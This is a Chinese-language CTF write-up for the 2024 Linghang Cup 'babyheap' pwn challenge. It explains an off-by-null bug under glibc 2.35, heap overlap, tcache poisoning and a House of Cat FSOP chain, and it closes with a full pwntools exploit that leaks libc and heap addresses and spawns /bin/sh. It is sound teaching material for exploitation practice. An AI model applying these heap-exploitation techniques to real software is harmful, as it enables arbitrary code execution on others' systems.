[2024领航杯] Pwn方向题解 babyheap
[2024领航杯] Pwn方向题解 babyheap
前言:
当然这个比赛我没有参加,是江苏省的一个比赛,附件是XiDP师傅在比赛结束之后发给我的,最近事情有点多,当时搁置了一天,昨天下午想起来这个事情,才开始看题目,XiDP师傅说是2.35版本的libc,确实高版本libc的却棘手,我经验太浅了调试半天,最后让我们一起看一下这个题目。
保护策略:

逆向分析:
功能很齐全啊,该有的都有

add函数最多存在11个堆块,没有大小限制

输入content的时候存在一个off_by_null漏洞

delete就是没有UAF漏洞,show函数是puts打印存在00截断。
edit函数只能用一次

关于泄露地址:
当然存在00截断我们无法直接泄露地址,那么就需要实现unlink来进行堆块重叠,来抵消off_by_null的00截断。
关于2.29之后off_by_null的说明:
当然在之前呢大家也可以看见,我们只需要伪造一个prev size位配合off_by_null即可完成unlink的一系列攻击而且当时只free第一个堆块的话fd和bk指针也不需要伪造了。但是在glibc2.29之后加入了检查,具体是怎么样的呢,它会检查你要释放堆块的prev size和前面堆块的size位大小是不是一样的,不一样的话就会报错,当然想要绕过这个检查就需要修改size位,其实思路的话我们可以申请7个堆块,释放0,3,6堆块,至于为什么这样,因为我们需要修改size位,因为chunk3在中间所以我们比较好修改它的size位,我们释放chunk2,那么chunk2,3合并成了一个大的chunk,然后去申请堆块修改chunk3的size位即可,建议直接修改到top_chunk那里,因为后续要实现unlink的话还是要add堆块的。
那么这里需要有一点点的堆风水,怎么说呢,因为存在off_by_null我们输入数据的时候会留下一个00,我们让chunk3的chunk地址存在到00的位置,那么在进行伪造fd和bk指针的时候就可以通过截断来指向chunk3,怎么做呢,因为chunk2,3合并了,修改chunk3之后留下了一个chunk,这个chunk只有最后一位和chunk3不一样,我们可以通过利用这个堆块和chunk0,6来达到伪造fd和bk的目的,当然chunk0的bk指针比较好伪造,chunk6的fd指针我们输入什么都会修改两位因此我们需要chunk5和chunk6合并来修改chunk6的fd指针使其指向chunk3,最后正常off_by_null即可。

后续的攻击:
当然限制堆地址和libc地址都有了还需要进行劫持相关的操作,因为2.34之后没有相关的_malloc_hook等这些钩子了,所以一开始我的想法是house of kiwi,但是发现这个版本的 _IO_helper_jumps没有可写的权限。

那么只好使用house of apple2 的相关连,house of cat(具体操作我前两篇博客里面有详细内容),但是我这里是直接修改了 stderr结构体,没有直接进行伪造但是我发现一个弊端,这样的话有点极限因为,我们无法修改太多空间如果越界修改了stdout的话会导致程序卡住,所以我在这里卡半天,一直在调试,期间我也发现了,不同版本之间一些利用链的判断条件有所不同需要进行微调。
伪造指针的情况



当然我是用的劫持tcache_ptheread_struct结构体来修改top_chunk和stderr的,因为我感觉largebin attack有点难操作,所以干脆之间修改stderr结构体了。
我是利用_malloc_assert来触发IO的,因为程序正常通过main函数返回所以也可以不用修改top_chunk,但是结构体要微调一些不然就这样了

EXP:
from gt import *
con("amd64")
io = process("./babyheap")
libc = ELF("./libc.so.6")
def add(size,msg):
io.sendlineafter("> ","1")
io.sendlineafter("size:",str(size))
io.sendlineafter("content:",msg)
def free(index):
io.sendlineafter("> ","2")
io.sendlineafter("index:",str(index))
def show(index):
io.sendlineafter("> ","3")
io.sendlineafter("index:",str(index))
def edit(index,msg):
io.sendlineafter("> ","4")
io.sendlineafter("index:",str(index))
io.sendafter("new content:",msg)
def exit():
io.sendlineafter("> ","5")
add(0x418,'a') #0
add(0x1f8,'a') #1
add(0x448,'a') #2
add(0x438,'a') #3
add(0x208,'a') #4
add(0x418,'a') #5
add(0x428,'a') #6
add(0x208,'a') #7
free(0)
free(3)
free(6)
#gdb.attach(io)
free(2)
#free(5)
#gdb.attach(io)
payload = b'a'*0x448 + b'\xb0\x10'
add(0x468,payload)
#gdb.attach(io)
add(0x418,'a')
add(0x428,'a')
add(0x418,'a')
#gdb.attach(io)
free(6)
free(2)
add(0x418,'a'*8)
free(3)
free(5)
#gdb.attach(io)
payload = b'a'*0x418 + p64(0x431)
add(0x500,payload)
add(0x9f8,'a')
add(0x408,'a')
add(0x408,'a')
payload = b'a'*0x200 + p64(0x10b0)
edit(7,payload)
free(5)
add(0x430,'a')
show(4)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x21ace0
suc("libc_base",libc_base)
IO_hleper_jumps = libc_base + 0x216a00
suc("IO_hleper_jumps",IO_hleper_jumps)
IO_file_jumps = libc_base + 0x217600
stderr = libc_base + 0x21b6a0
show(2)
io.recvuntil('a'*8)
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1770
suc("heap_base",heap_base)
top_chunk = heap_base + 0x1140
add(0x200,'a')
free(9)
free(7)
key = (heap_base + 0x1000) >> 0xc
payload = b'a'*0xa50 + p64(0x340) + p64(0x210) + p64(heap_base+0x10 ^ key)
add(0xa70,payload)
add(0x200,'a')
add(0x200,b'\x07\x00'*0x40+p64(top_chunk)*20+p64(stderr)*25)
free(7)
free(8)
system = libc_base + libc.sym["system"]
fake_io_addr = stderr
fake_IO_FILE = b'/bin/sh\x00' + p64(0x201) +p64(0) +p64(heap_base + 0x200)+p64(0) + p64(0)*3
fake_IO_FILE +=p64(1)+p64(0) #rcx
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx -----> setcontext + 61
fake_IO_FILE +=p64(system)#_IO_save_end=call addr rax+0x58
fake_IO_FILE =fake_IO_FILE.ljust(0x58,b'\x00')
fake_IO_FILE +=p64(0) # _chain
fake_IO_FILE =fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE +=p64(fake_io_addr -0x20) #rax1
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE += p64(fake_io_addr + 0x40)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8,b'\x00')
fake_IO_FILE += p64(libc_base+0x2170c0+0x10-0x28) # vtable=_IO_wfile_jumps+0x10
fake_IO_FILE += p64(0x00000000fbad2800) + p64(libc_base + 0x21b803)*5
#fake_IO_FILE += p64(fake_io_addr + 0x40) #rax2+0xe0
#add(0x500,'b'*8)
add(0x290,fake_IO_FILE)
add(0xc0,p64(0)+p64(0x300))
io.sendlineafter("> ","1")
#gdb.attach(io)
io.sendlineafter("size:",str(0x500))
#gdb.attach(io)
io.interactive()
最终效果

[2024领航杯] Pwn方向题解 babyheap的更多相关文章
- 蓝桥杯练习 Day6 题解
蓝桥杯练习 Day6 题解 A 题意:给你一个等式ax+by = c,问你x,y是否有整数解. 思路:gcd(a,b) = t,如果方程有解,那么\((a/t)*x + (b/t)*y = c/t\) ...
- 网鼎杯 pwn 记录
题目位置 https://gitee.com/hac425/blog_data/tree/master/wdb babyheap 通过分配和释放构建 2 个 fastbin 链 利用 show 功能, ...
- 2019年领航杯 江苏省网络信息安全竞赛 初赛部分writeup
赛题已上传,下载连接:https://github.com/raddyfiy/2019linghangcup 做出了全部的misc和前三道逆向题,排名第10,暂且贴一下writeup. 关卡一 编码解 ...
- 2019全国大学生数学建模竞赛(高教社杯)A题题解
文件下载:https://www.lanzous.com/i6x5iif 问题一 整体过程: 0x01. 首先,需要确定燃油进入和喷出的间歇性工作过程的时间关系.考虑使用决策变量对一段时间内燃油进入和 ...
- ctfshow 1024杯 部分web题解
------------恢复内容开始------------ 今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看.特别是小破站的比赛拉跨的一批,bytectf的web ...
- NCTF2019 小部分题解
前言 礼拜五领航杯打的比较累,做不出WEB,D3CTF没用,做了NJCTF的一些题目(懒,睡觉到12点起) Misc 第一次比赛先去做misc,以前一直做WEB,以后要WEB+MISC做.礼拜六下午做 ...
- CTF:从0到1 -> zero2one
本篇blog首发0xffff论坛(CTF:从0到1->zero2one - 0xFFFF),中间有各位大佬补充,搬到了个人博客CTF:从0到1 -> zero2one | c10udlnk ...
- UVALive 3959 Rectangular Polygons (排序贪心)
Rectangular Polygons 题目链接: http://acm.hust.edu.cn/vjudge/contest/129733#problem/G Description In thi ...
- TZOJ 2588 Bad Grass(DFS)
描述 Bessie was munching on tender shoots of grass and, as cows do, contemplating the state of the uni ...
- hdu1312Red and Black(迷宫dfs,一遍)
Red and Black Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others)Tot ...
随机推荐
- 【DataBase】MySQL 08 SQL函数 单行函数其二 数值函数
数值函数 # 数值函数 -- ROUND() 四舍五入 SELECT ROUND(3.14),ROUND(-3.14); -- 重载,保留指定参数的小数位数 SELECT ROUND(-3.14,3) ...
- 网友开放的开源项目:网页版的A*算法可视化演示程序
相关项目: https://xueqiaoxu.me/#projects 项目介绍: A JavaScript path-finding library for grid based games. I ...
- Ubuntu18.04 server 双网卡,一个设置为静态IP, 一个设置为动态IP
操作目的如题: 修改网络配置文件: sudo vim /etc/netplan/50-cloud-init.yaml 修改内容如下: # This file is generated from inf ...
- mendeley存储是有限的吗
用了mendeley好多年,总是有一个疑问,那就是这东西的云存储空间是不是有限的,如果是有限的话那么上限是多少?这东西不论是app还是桌面端都没有这个空间信息的大小,但是这东西必然是有上限的,那么这个 ...
- WhaleScheduler为银行业全信创环境打造统一调度管理平台解决方案
项目背景 数字金融是数字经济的重要支撑和驱动力.近年来,我国针对数字金融的发展政策频频出台,<金融科技发展规划 (2022-2025年)>.<"十四五"数字经济发 ...
- Dijkstra单源最短路模板
struct DIJ { using i64 = long long; using PII = pair<i64, i64>; vector<i64> dis; vector& ...
- 2023 CCPC 哈尔滨游记
board zsy 11.3 下了高代课跟教练聊了会,以为差点赶不上飞机了,结果还好.飞机上一直在看<笑傲江湖> 晚上本来想写作业的,还是摆了 拉 zsy 打雀魂,三人麻将到第二天了 11 ...
- Linux-centos中修改默认root帐户的登录用户名
vi /etc/passwd 按i键进入编辑状态 修改第1行第1个root为新的用户名 按esc键退出编辑状态,并输入:x保存并退出 vi /etc/shadow 按i键进入编辑状态 修改第1行第1个 ...
- 基于docker搭建单机测试ELK
说明:本次使用的windows系统,利用vm进行安装虚拟机,安装的只是单测试单机版elk. 一.下载vm 自行官网下载 二.安装centos7系统 自己有现成的镜像跳过,没有自行查找资料完成 三.进行 ...
- POA:已开源,蚂蚁集团提出同时预训练多种尺寸网络的自监督范式 | ECCV 2024
论文提出一种新颖的POA自监督学习范式,通过弹性分支设计允许同时对多种尺寸的模型进行预训练.POA可以直接从预训练teacher生成不同尺寸的模型,并且这些模型可以直接用于下游任务而无需额外的预训练. ...